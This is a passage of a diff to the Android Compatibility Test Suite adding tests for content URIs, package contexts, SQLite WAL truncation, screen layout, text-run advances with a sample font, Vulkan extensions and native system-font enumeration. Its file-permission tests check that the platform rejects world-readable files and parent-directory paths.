+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.binder.cts;
+
+import org.junit.runner.RunWith;
+import com.android.gtestrunner.GtestRunner;
+import com.android.gtestrunner.TargetLibrary;
+
+@RunWith(GtestRunner.class)
+@TargetLibrary("binder_ndk_test")
+public class NdkBinderTest {}
diff --git a/tests/tests/content/src/android/content/cts/ContentUrisTest.java b/tests/tests/content/src/android/content/cts/ContentUrisTest.java
index 7bd0084..65ae443 100644
--- a/tests/tests/content/src/android/content/cts/ContentUrisTest.java
+++ b/tests/tests/content/src/android/content/cts/ContentUrisTest.java
@@ -110,4 +110,31 @@
             // expected, test success.
         }
     }
+
+    public void testRemoveId() {
+        assertEquals(Uri.parse("content://auth"),
+                ContentUris.removeId(Uri.parse("content://auth/12")));
+        assertEquals(Uri.parse("content://auth/path"),
+                ContentUris.removeId(Uri.parse("content://auth/path/12")));
+        assertEquals(Uri.parse("content://auth/path/path"),
+                ContentUris.removeId(Uri.parse("content://auth/path/path/12")));
+    }
+
+    public void testRemoveId_MissingId() {
+        try {
+            ContentUris.removeId(Uri.parse("content://auth/"));
+            fail("There should be a IllegalArgumentException thrown out.");
+        } catch (IllegalArgumentException expected) {
+        }
+        try {
+            ContentUris.removeId(Uri.parse("content://auth/path/"));
+            fail("There should be a IllegalArgumentException thrown out.");
+        } catch (IllegalArgumentException expected) {
+        }
+        try {
+            ContentUris.removeId(Uri.parse("content://auth/path/path/"));
+            fail("There should be a IllegalArgumentException thrown out.");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
 }
diff --git a/tests/tests/content/src/android/content/cts/ContextTest.java b/tests/tests/content/src/android/content/cts/ContextTest.java
index 413da63..a9655f1 100644
--- a/tests/tests/content/src/android/content/cts/ContextTest.java
+++ b/tests/tests/content/src/android/content/cts/ContextTest.java
@@ -45,6 +45,7 @@
 import android.os.IBinder;
 import android.os.Looper;
 import android.os.Process;
+import android.os.UserHandle;
 import android.preference.PreferenceManager;
 import android.test.AndroidTestCase;
 import android.util.AttributeSet;
@@ -769,6 +770,16 @@
         assertNotNull(actualContext);
     }
 
+    public void testCreatePackageContextAsUser() throws Exception {
+        for (UserHandle user : new UserHandle[] {
+                android.os.Process.myUserHandle(),
+                UserHandle.ALL, UserHandle.CURRENT, UserHandle.SYSTEM
+        }) {
+            assertEquals(user, mContext
+                    .createPackageContextAsUser(getValidPackageName(), 0, user).getUser());
+        }
+    }
+
     /**
      * Helper method to retrieve a valid application package name to use for tests.
      */
@@ -1331,4 +1342,39 @@
         public void onServiceDisconnected(ComponentName name) {
         }
     }
+
+    public void testOpenFileOutput_mustNotCreateWorldReadableFile() throws Exception {
+        try {
+            mContext.openFileOutput("test.txt", Context.MODE_WORLD_READABLE);
+            fail("Exception expected");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testOpenFileOutput_mustNotCreateWorldWriteableFile() throws Exception {
+        try {
+            mContext.openFileOutput("test.txt", Context.MODE_WORLD_WRITEABLE);
+            fail("Exception expected");
+        } catch (SecurityException expected) {
+        }
+    }
+
+    public void testOpenFileOutput_mustNotWriteToParentDirectory() throws Exception {
+        try {
+            // Created files must be under the application's private directory.
+            mContext.openFileOutput("../test.txt", Context.MODE_PRIVATE);
+            fail("Exception expected");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
+    public void testOpenFileOutput_mustNotUseAbsolutePath() throws Exception {
+        try {
+            // Created files must be under the application's private directory.
+            mContext.openFileOutput("/tmp/test.txt", Context.MODE_PRIVATE);
+            fail("Exception expected");
+        } catch (IllegalArgumentException expected) {
+        }
+    }
+
 }
diff --git a/tests/tests/database/src/android/database/sqlite/cts/SQLiteWalTest.java b/tests/tests/database/src/android/database/sqlite/cts/SQLiteWalTest.java
index 06fe3ba..8cc6e9d 100644
--- a/tests/tests/database/src/android/database/sqlite/cts/SQLiteWalTest.java
+++ b/tests/tests/database/src/android/database/sqlite/cts/SQLiteWalTest.java
@@ -20,8 +20,8 @@
 import android.database.DatabaseUtils;
 import android.database.sqlite.SQLiteCompatibilityWalFlags;
 import android.database.sqlite.SQLiteDatabase;
-import android.database.sqlite.SQLiteDatabase.OpenParams;
 import android.test.AndroidTestCase;
+import android.util.Log;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -115,7 +115,7 @@
         setCompatibilityWalFlags(TRUNCATE_SIZE_KEY + "=1");
         SQLiteCompatibilityWalFlags.reset();
 
-        SQLiteDatabase db = doOperation();
+        SQLiteDatabase db = doOperation("testWalTruncate");
 
         // Make sure the WAL file is truncated into 0 bytes.
         assertEquals(0, (new File(db.getPath() + WAL_SUFFIX)).length());
@@ -131,7 +131,7 @@
         setCompatibilityWalFlags(TRUNCATE_SIZE_KEY + "=1000000");
         SQLiteCompatibilityWalFlags.reset();
 
-        SQLiteDatabase db = doOperation();
+        SQLiteDatabase db = doOperation("testWalNoTruncate");
 
         assertTrue((new File(db.getPath() + WAL_SUFFIX)).length() > 0);
     }
@@ -145,33 +145,59 @@
         setCompatibilityWalFlags(TRUNCATE_SIZE_KEY + "=0");
         SQLiteCompatibilityWalFlags.reset();
 
-        SQLiteDatabase db = doOperation();
+        SQLiteDatabase db = doOperation("testWalTruncateDisabled");
 
         assertTrue((new File(db.getPath() + WAL_SUFFIX)).length() > 0);
     }
 
-    private SQLiteDatabase doOperation() {
+    private SQLiteDatabase doOperation(String message) {
+        listFiles(message + ": start");
+
         SQLiteDatabase db = prepareDatabase();
 
+        listFiles(message + ": DB created and prepared");
+
         // db.close() will remove the wal file, so back the files up.
         backupFile(db.getPath());
         backupFile(db.getPath() + SHM_SUFFIX);
         backupFile(db.getPath() + WAL_SUFFIX);
 
+        listFiles(message + ": backup created");
+
         // Close the DB, this will remove the WAL file.
         db.close();
 
+        listFiles(message + ": DB closed");
+
         // Restore the files.
         restoreFile(db.getPath());
         restoreFile(db.getPath() + SHM_SUFFIX);
         restoreFile(db.getPath() + WAL_SUFFIX);
 
+        listFiles(message + ": DB restored");
+
         // Open the DB again.
         db = openDatabase();
 
+        listFiles(message + ": DB re-opened");
+
         // Make sure the table still exists.
         assertTestTableExists(db);
 
         return db;
     }
+
+    private void listFiles(String message) {
+        final File dir = mContext.getDatabasePath("a").getParentFile();
+        Log.i(TAG, "Listing files: " + message + " (" + dir.getAbsolutePath() + ")");
+
+        final File[] files = mContext.getDatabasePath("a").getParentFile().listFiles();
+        if (files == null || files.length == 0) {
+            Log.i(TAG, "  No files found");
+            return;
+        }
+        for (File f : files) {
+            Log.i(TAG, "  file: " + f.getName() + " " + f.length() + " bytes");
+        }
+    }
 }
diff --git a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
index d7c9366..a7b2692 100644
--- a/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
+++ b/tests/tests/dpi/src/android/dpi/cts/ConfigurationScreenLayoutTest.java
@@ -49,6 +49,14 @@
             tearDown();
             return;
         }
+        if (isPC()) {
+            // The test skips mainly for Chromebook clamshell mode. For Chromebook clamshell mode
+            // with non-rotated landscape physical screen, the portrait window/activity has special
+            // behavior with black background on both sides to make the window/activity look
+            // portrait, which returns smaller screen layout size.
+            tearDown();
+            return;
+        }
         int expectedScreenLayout = computeScreenLayout();
         int expectedSize = expectedScreenLayout & Configuration.SCREENLAYOUT_SIZE_MASK;
         int expectedLong = expectedScreenLayout & Configuration.SCREENLAYOUT_LONG_MASK;
@@ -163,4 +171,9 @@
         return (supportsLandscape && supportsPortrait)
                 || (!supportsLandscape && !supportsPortrait);
     }
+
+    // Check if it is a PC device
+    private boolean isPC() {
+        return hasDeviceFeature(PackageManager.FEATURE_PC);
+    }
 }
diff --git a/tests/tests/graphics/assets/textrunadvances.ttf b/tests/tests/graphics/assets/textrunadvances.ttf
new file mode 100644
index 0000000..2e746e0
--- /dev/null
+++ b/tests/tests/graphics/assets/textrunadvances.ttf
Binary files differ
diff --git a/tests/tests/graphics/assets/textrunadvances.ttx b/tests/tests/graphics/assets/textrunadvances.ttx
new file mode 100644
index 0000000..76bef67
--- /dev/null
+++ b/tests/tests/graphics/assets/textrunadvances.ttx
@@ -0,0 +1,188 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<ttFont sfntVersion="\x00\x01\x00\x00" ttLibVersion="3.0">
+
+  <GlyphOrder>
+    <GlyphID id="0" name=".notdef"/>
+    <GlyphID id="1" name="1em"/>
+    <GlyphID id="2" name="3em"/>
+  </GlyphOrder>
+
+  <head>
+    <tableVersion value="1.0"/>
+    <fontRevision value="1.0"/>
+    <checkSumAdjustment value="0x640cdb2f"/>
+    <magicNumber value="0x5f0f3cf5"/>
+    <flags value="00000000 00000011"/>
+    <unitsPerEm value="1000"/>
+    <created value="Fri Mar 17 07:26:00 2017"/>
+    <macStyle value="00000000 00000000"/>
+    <lowestRecPPEM value="7"/>
+    <fontDirectionHint value="2"/>
+    <glyphDataFormat value="0"/>
+  </head>
+
+  <hhea>
+    <tableVersion value="1.0"/>
+    <ascent value="1000"/>
+    <descent value="-200"/>
+    <lineGap value="0"/>
+    <caretSlopeRise value="1"/>
+    <caretSlopeRun value="0"/>
+    <caretOffset value="0"/>
+    <reserved0 value="0"/>
+    <reserved1 value="0"/>
+    <reserved2 value="0"/>
+    <reserved3 value="0"/>
+    <metricDataFormat value="0"/>
+  </hhea>
+
+  <maxp>
+    <tableVersion value="0x10000"/>
+    <maxZones value="0"/>
+    <maxTwilightPoints value="0"/>
+    <maxStorage value="0"/>
+    <maxFunctionDefs value="0"/>
+    <maxInstructionDefs value="0"/>
+    <maxStackElements value="0"/>
+    <maxSizeOfInstructions value="0"/>
+    <maxComponentElements value="0"/>
+  </maxp>
+
+  <OS_2>
+    <!-- The fields 'usFirstCharIndex' and 'usLastCharIndex'
+         will be recalculated by the compiler -->
+    <version value="3"/>
+    <xAvgCharWidth value="594"/>
+    <usWeightClass value="400"/>
+    <usWidthClass value="5"/>
+    <fsType value="00000000 00001000"/>
+    <ySubscriptXSize value="650"/>
+    <ySubscriptYSize value="600"/>
+    <ySubscriptXOffset value="0"/>
+    <ySubscriptYOffset value="75"/>
+    <ySuperscriptXSize value="650"/>
+    <ySuperscriptYSize value="600"/>
+    <ySuperscriptXOffset value="0"/>
+    <ySuperscriptYOffset value="350"/>
+    <yStrikeoutSize value="50"/>
+    <yStrikeoutPosition value="300"/>
+    <sFamilyClass value="0"/>
+    <panose>
+      <bFamilyType value="0"/>
+      <bSerifStyle value="0"/>
+      <bWeight value="5"/>
+      <bProportion value="0"/>
+      <bContrast value="0"/>
+      <bStrokeVariation value="0"/>
+      <bArmStyle value="0"/>
+      <bLetterForm value="0"/>
+      <bMidline value="0"/>
+      <bXHeight value="0"/>
+    </panose>
+    <ulUnicodeRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulUnicodeRange2 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange3 value="00000000 00000000 00000000 00000000"/>
+    <ulUnicodeRange4 value="00000000 00000000 00000000 00000000"/>
+    <achVendID value="UKWN"/>
+    <fsSelection value="00000000 01000000"/>
+    <usFirstCharIndex value="32"/>
+    <usLastCharIndex value="122"/>
+    <sTypoAscender value="800"/>
+    <sTypoDescender value="-200"/>
+    <sTypoLineGap value="200"/>
+    <usWinAscent value="1000"/>
+    <usWinDescent value="200"/>
+    <ulCodePageRange1 value="00000000 00000000 00000000 00000001"/>
+    <ulCodePageRange2 value="00000000 00000000 00000000 00000000"/>
+    <sxHeight value="500"/>
+    <sCapHeight value="700"/>
+    <usDefaultChar value="0"/>
+    <usBreakChar value="32"/>
+    <usMaxContext value="0"/>
+  </OS_2>
+
+  <hmtx>
+    <mtx name=".notdef" width="500" lsb="93"/>
+    <mtx name="1em" width="1000" lsb="93"/>
+    <mtx name="3em" width="3000" lsb="93"/>
+  </hmtx>
+
+  <cmap>
+    <tableVersion version="0"/>
+    <cmap_format_12 format="12" reserved="0" length="1" nGroups="1" platformID="0" platEncID="4" language="0">
+      <map code="0x0061" name="3em" /> <!-- a -->
+      <map code="0x0062" name="1em" /> <!-- b -->
+      <map code="0x0063" name="1em" /> <!-- c -->
+      <map code="0x0064" name="1em" /> <!-- d -->
+      <map code="0x0065" name="1em" /> <!-- e -->
+      <map code="0x1f600" name="3em" /> <!-- an example of surrogat pair -->
+    </cmap_format_12>
+  </cmap>
+
+  <loca>
+    <!-- The 'loca' table will be calculated by the compiler -->
+  </loca>
+
+  <glyf>
+    <TTGlyph name=".notdef" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="1em" xMin="0" yMin="0" xMax="0" yMax="0" />
+    <TTGlyph name="3em" xMin="0" yMin="0" xMax="0" yMax="0" />
+  </glyf>
+
+  <name>
+    <namerecord nameID="0" platformID="3" platEncID="1" langID="0x409">
+      Copyright (C) 2017 The Android Open Source Project
+    </namerecord>
+    <namerecord nameID="1" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="2" platformID="3" platEncID="1" langID="0x409">
+      Regular
+    </namerecord>
+    <namerecord nameID="4" platformID="3" platEncID="1" langID="0x409">
+      Sample Font
+    </namerecord>
+    <namerecord nameID="6" platformID="3" platEncID="1" langID="0x409">
+      SampleFont-Regular
+    </namerecord>
+    <namerecord nameID="13" platformID="3" platEncID="1" langID="0x409">
+      Licensed under the Apache License, Version 2.0 (the "License");
+      you may not use this file except in compliance with the License.
+      Unless required by applicable law or agreed to in writing, software
+      distributed under the License is distributed on an "AS IS" BASIS
+      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+      See the License for the specific language governing permissions and
+      limitations under the License.
+    </namerecord>
+    <namerecord nameID="14" platformID="3" platEncID="1" langID="0x409">
+      http://www.apache.org/licenses/LICENSE-2.0
+    </namerecord>
+  </name>
+
+  <post>
+    <formatType value="3.0"/>
+    <italicAngle value="0.0"/>
+    <underlinePosition value="-75"/>
+    <underlineThickness value="50"/>
+    <isFixedPitch value="0"/>
+    <minMemType42 value="0"/>
+    <maxMemType42 value="0"/>
+    <minMemType1 value="0"/>
+    <maxMemType1 value="0"/>
+  </post>
+
+</ttFont>
diff --git a/tests/tests/graphics/jni/Android.mk b/tests/tests/graphics/jni/Android.mk
index d8c3770..af76936 100644
--- a/tests/tests/graphics/jni/Android.mk
+++ b/tests/tests/graphics/jni/Android.mk
@@ -33,6 +33,7 @@
 	android_graphics_cts_VulkanFeaturesTest.cpp \
 	android_graphics_cts_VulkanPreTransformCtsActivity.cpp \
 	android_graphics_cts_VulkanSurfaceSupportTest.cpp \
+        android_graphics_fonts_cts_SystemFonts.cpp \
 	CameraTestHelpers.cpp \
 	ImageReaderTestHelpers.cpp \
 	MediaTestHelpers.cpp \
diff --git a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
index a435ab4..db7919d 100644
--- a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
+++ b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
@@ -27,6 +27,7 @@
 extern int register_android_graphics_cts_VulkanFeaturesTest(JNIEnv*);
 extern int register_android_graphics_cts_VulkanPreTransformCtsActivity(JNIEnv*);
 extern int register_android_graphics_cts_VulkanSurfaceSupportTest(JNIEnv*);
+extern int register_android_graphics_fonts_cts_SystemFontTest(JNIEnv*);
 
 jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
     JNIEnv* env = nullptr;
@@ -54,5 +55,7 @@
         return JNI_ERR;
     if (register_android_graphics_cts_CameraVulkanGpuTest(env))
         return JNI_ERR;
+    if (register_android_graphics_fonts_cts_SystemFontTest(env))
+        return JNI_ERR;
     return JNI_VERSION_1_4;
 }
diff --git a/tests/tests/graphics/jni/android_graphics_fonts_cts_SystemFonts.cpp b/tests/tests/graphics/jni/android_graphics_fonts_cts_SystemFonts.cpp
new file mode 100644
index 0000000..507facc
--- /dev/null
+++ b/tests/tests/graphics/jni/android_graphics_fonts_cts_SystemFonts.cpp
@@ -0,0 +1,97 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+#define LOG_TAG "SystemFonts"
+
+#include <jni.h>
+#include <android/system_fonts.h>
+
+#include <array>
+#include <android/log.h>
+
+namespace {
+
+jlong nOpenIterator(JNIEnv*, jclass) {
+    return reinterpret_cast<jlong>(ASystemFontIterator_open());
+}
+
+void nCloseIterator(JNIEnv*, jclass, jlong ptr) {
+    ASystemFontIterator_close(reinterpret_cast<ASystemFontIterator*>(ptr));
+}
+
+jlong nGetNext(JNIEnv*, jclass, jlong ptr) {
+    return reinterpret_cast<jlong>(ASystemFontIterator_next(
+            reinterpret_cast<ASystemFontIterator*>(ptr)));
+}
+
+void nCloseFont(JNIEnv*, jclass, jlong ptr) {
+    return ASystemFont_close(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jstring nGetFilePath(JNIEnv* env, jclass, jlong ptr) {
+    return env->NewStringUTF(ASystemFont_getFontFilePath(reinterpret_cast<ASystemFont*>(ptr)));
+}
+
+jint nGetWeight(JNIEnv*, jclass, jlong ptr) {
+    return ASystemFont_getWeight(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jboolean nIsItalic(JNIEnv*, jclass, jlong ptr) {
+    return ASystemFont_isItalic(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jstring nGetLocale(JNIEnv* env, jclass, jlong ptr) {
+    return env->NewStringUTF(ASystemFont_getLocale(reinterpret_cast<ASystemFont*>(ptr)));
+}
+
+jint nGetCollectionIndex(JNIEnv*, jclass, jlong ptr) {
+    return ASystemFont_getCollectionIndex(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jint nGetAxisCount(JNIEnv*, jclass, jlong ptr) {
+    return ASystemFont_getAxisCount(reinterpret_cast<ASystemFont*>(ptr));
+}
+
+jint nGetAxisTag(JNIEnv*, jclass, jlong ptr, jint axisIndex) {
+    return ASystemFont_getAxisTag(reinterpret_cast<ASystemFont*>(ptr), axisIndex);
+}
+
+jfloat nGetAxisValue(JNIEnv*, jclass, jlong ptr, jint axisIndex) {
+    return ASystemFont_getAxisValue(reinterpret_cast<ASystemFont*>(ptr), axisIndex);
+}
+
+const std::array<JNINativeMethod, 12> JNI_METHODS = {{
+    { "nOpenIterator", "()J", (void*) nOpenIterator },
+    { "nCloseIterator", "(J)V", (void*) nCloseIterator },
+    { "nNext", "(J)J", (void*) nGetNext },
+    { "nCloseFont", "(J)V", (void*) nCloseFont },
+    { "nGetFilePath", "(J)Ljava/lang/String;", (void*) nGetFilePath },
+    { "nGetWeight", "(J)I", (void*) nGetWeight },
+    { "nIsItalic", "(J)Z", (void*) nIsItalic },
+    { "nGetLocale", "(J)Ljava/lang/String;", (void*) nGetLocale },
+    { "nGetCollectionIndex", "(J)I", (void*) nGetCollectionIndex },
+    { "nGetAxisCount", "(J)I", (void*) nGetAxisCount },
+    { "nGetAxisTag", "(JI)I", (void*) nGetAxisTag },
+    { "nGetAxisValue", "(JI)F", (void*) nGetAxisValue },
+}};
+
+}
+
+int register_android_graphics_fonts_cts_SystemFontTest(JNIEnv* env) {
+    jclass clazz = env->FindClass("android/graphics/fonts/NativeSystemFontHelper");
+    return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
+}
diff --git a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
index 9f854c0..909e635 100644
--- a/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/PaintTest.java
@@ -1847,4 +1847,39 @@
                 Hyphenator.END_HYPHEN_EDIT_REPLACE_WITH_HYPHEN));
         assertEquals(40.0f, paint.measureText("abc", 0, 3), 0.0f);  // "ab-" in visual.
     }
+
+    @Test
+    public void testGetTextRunAdvances() {
+        final Paint paint = new Paint();
+        final Context context = InstrumentationRegistry.getTargetContext();
+        paint.setTypeface(Typeface.createFromAsset(context.getAssets(), "textrunadvances.ttf"));
+        // The textrunadvances.ttf font supports following characters
+        // - U+0061 (a): The glyph has 3em width.
+        // - U+0062..U+0065 (b..e): The glyph has 1em width.
+        // - U+1F600 (GRINNING FACE): The glyph has 3em width.
+        paint.setTextSize(10.0f);  // Make 1em = 10px
+
+        final char[] chars = { 'a', 'b', 'a', 'b' };
+        final float[] buffer = new float[32];
+
+        assertEquals(80.0f,
+                paint.getTextRunAdvances(chars, 0, 4, 0, 4, false /* isRtl */, buffer, 0), 0.0f);
+        assertEquals(30.0f, buffer[0], 0.0f);
+        assertEquals(10.0f, buffer[1], 0.0f);
+        assertEquals(30.0f, buffer[2], 0.0f);
+        assertEquals(10.0f, buffer[3], 0.0f);
+
+        // Output offset test
+        assertEquals(40.0f,
+                paint.getTextRunAdvances(chars, 1, 2, 1, 2, false /* isRtl */, buffer, 5), 0.0f);
+        assertEquals(10.0f, buffer[5], 0.0f);
+        assertEquals(30.0f, buffer[6], 0.0f);
+
+        // Surrogate pairs
+        final char[] chars2 = Character.toChars(0x1F600);
+        assertEquals(30.0f,
+                paint.getTextRunAdvances(chars2, 0, 2, 0, 2, false /* isRtl */, buffer, 0), 0.0f);
+        assertEquals(30.0f, buffer[0], 0.0f);
+        assertEquals(0.0f, buffer[1], 0.0f);
+    }
 }
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
index 2fe4352..4e04286 100644
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/VulkanFeaturesTest.java
@@ -173,6 +173,13 @@
     public void testVulkan1_1Requirements() throws JSONException {
         if (mVulkanHardwareVersion == null || mVulkanHardwareVersion.version < VULKAN_1_1)
             return;
+        assertTrue("Devices with Vulkan 1.1 must support " +
+                VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME +
+                " (version >= " + VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_SPEC_VERSION +
+                ")",
+                hasExtension(mBestDevice,
+                    VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_EXTENSION_NAME,
+                    VK_ANDROID_EXTERNAL_MEMORY_ANDROID_HARDWARE_BUFFER_SPEC_VERSION));
         assertTrue("Devices with Vulkan 1.1 must support SYNC_FD external semaphores",
                 hasHandleType(mBestDevice.getJSONArray("externalSemaphoreProperties"),
                     VK_EXTERNAL_SEMAPHORE_HANDLE_TYPE_SYNC_FD_BIT,
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
new file mode 100644
index 0000000..48dbc4e
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontHelper.java
@@ -0,0 +1,79 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import java.io.File;
+import java.io.IOException;
+import java.util.HashSet;
+import java.util.Set;
+
+public class NativeSystemFontHelper {
+    static {
+        System.loadLibrary("ctsgraphics_jni");
+    }
+
+    private static String tagToStr(int tag) {
+        char[] buf = new char[4];
+        buf[0] = (char) ((tag >> 24) & 0xFF);
+        buf[1] = (char) ((tag >> 16) & 0xFF);
+        buf[2] = (char) ((tag >> 8) & 0xFF);
+        buf[3] = (char) (tag & 0xFF);
+        return String.valueOf(buf);
+    }
+
+    public static Set<Font> getAvailableFonts() {
+        long iterPtr = nOpenIterator();
+        HashSet<Font> nativeFonts = new HashSet<>();
+        try {
+            for (long fontPtr = nNext(iterPtr); fontPtr != 0; fontPtr = nNext(iterPtr)) {
+                try {
+                    FontVariationAxis[] axes = new FontVariationAxis[nGetAxisCount(fontPtr)];
+                    for (int i = 0; i < axes.length; ++i) {
+                        axes[i] = new FontVariationAxis(
+                                tagToStr(nGetAxisTag(fontPtr, i)), nGetAxisValue(fontPtr, i));
+                    }
+                    nativeFonts.add(new Font.Builder(new File(nGetFilePath(fontPtr)))
+                            .setWeight(nGetWeight(fontPtr))
+                            .setItalic(nIsItalic(fontPtr))
+                            .setTtcIndex(nGetCollectionIndex(fontPtr))
+                            .setFontVariationSettings(axes)
+                            .build());
+                } catch (IOException e) {
+                    throw new RuntimeException(e);
+                } finally {
+                    nCloseFont(fontPtr);
+                }
+            }
+        } finally {
+            nCloseIterator(iterPtr);
+        }
+        return nativeFonts;
+    }
+
+    private static native long nOpenIterator();
+    private static native void nCloseIterator(long ptr);
+    private static native long nNext(long ptr);
+    private static native void nCloseFont(long ptr);
+    private static native String nGetFilePath(long ptr);
+    private static native int nGetWeight(long ptr);
+    private static native boolean nIsItalic(long ptr);
+    private static native String nGetLocale(long ptr);
+    private static native int nGetCollectionIndex(long ptr);
+    private static native int nGetAxisCount(long ptr);
+    private static native int nGetAxisTag(long ptr, int index);
+    private static native float nGetAxisValue(long ptr, int index);
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
new file mode 100644
index 0000000..2fd8295
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/NativeSystemFontTest.java
@@ -0,0 +1,49 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.support.test.filters.SmallTest;
+import android.support.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Set;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class NativeSystemFontTest {
+
+    @Test
+    public void testSameResultAsJava() {
+        Set<Font> javaFonts = SystemFonts.getAvailableFonts();
+        Set<Font> nativeFonts = NativeSystemFontHelper.getAvailableFonts();
+
+        assertEquals(javaFonts.size(), nativeFonts.size());
+
+        for (Font f : nativeFonts) {
+            assertTrue(javaFonts.contains(f));
+        }
+
+        for (Font f : javaFonts) {
+            assertTrue(nativeFonts.contains(f));
+        }
+    }
+}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
index d7f7e24..eb2b32d 100644
--- a/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
+++ b/tests/tests/graphics/src/android/graphics/fonts/SystemFontsTest.java
@@ -23,28 +23,42 @@
 import static org.junit.Assert.fail;
 
 import android.support.test.filters.SmallTest;
-import android.support.test.runner.AndroidJUnit4;
 import android.system.ErrnoException;
 import android.system.Os;
 import android.system.OsConstants;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
+import org.junit.runners.Parameterized;
 
 import java.nio.ReadOnlyBufferException;
+import java.util.ArrayList;
+import java.util.Collection;
+import java.util.Set;
 
 @SmallTest
-@RunWith(AndroidJUnit4.class)
+@RunWith(Parameterized.class)
 public class SystemFontsTest {
+
+    @Parameterized.Parameter(0)
+    public Set<Font> availableFonts;
+
+    @Parameterized.Parameters
+    public static Collection<Object[]> getParameters() {
+        ArrayList<Object[]> allParams = new ArrayList<>();
+        allParams.add(new Object[] { SystemFonts.getAvailableFonts() });
+        allParams.add(new Object[] { NativeSystemFontHelper.getAvailableFonts() });
+        return allParams;
+    }
+
     @Test
     public void testAvailableFonts_NotEmpty() {
-        assertNotEquals("System available fonts must not be empty",
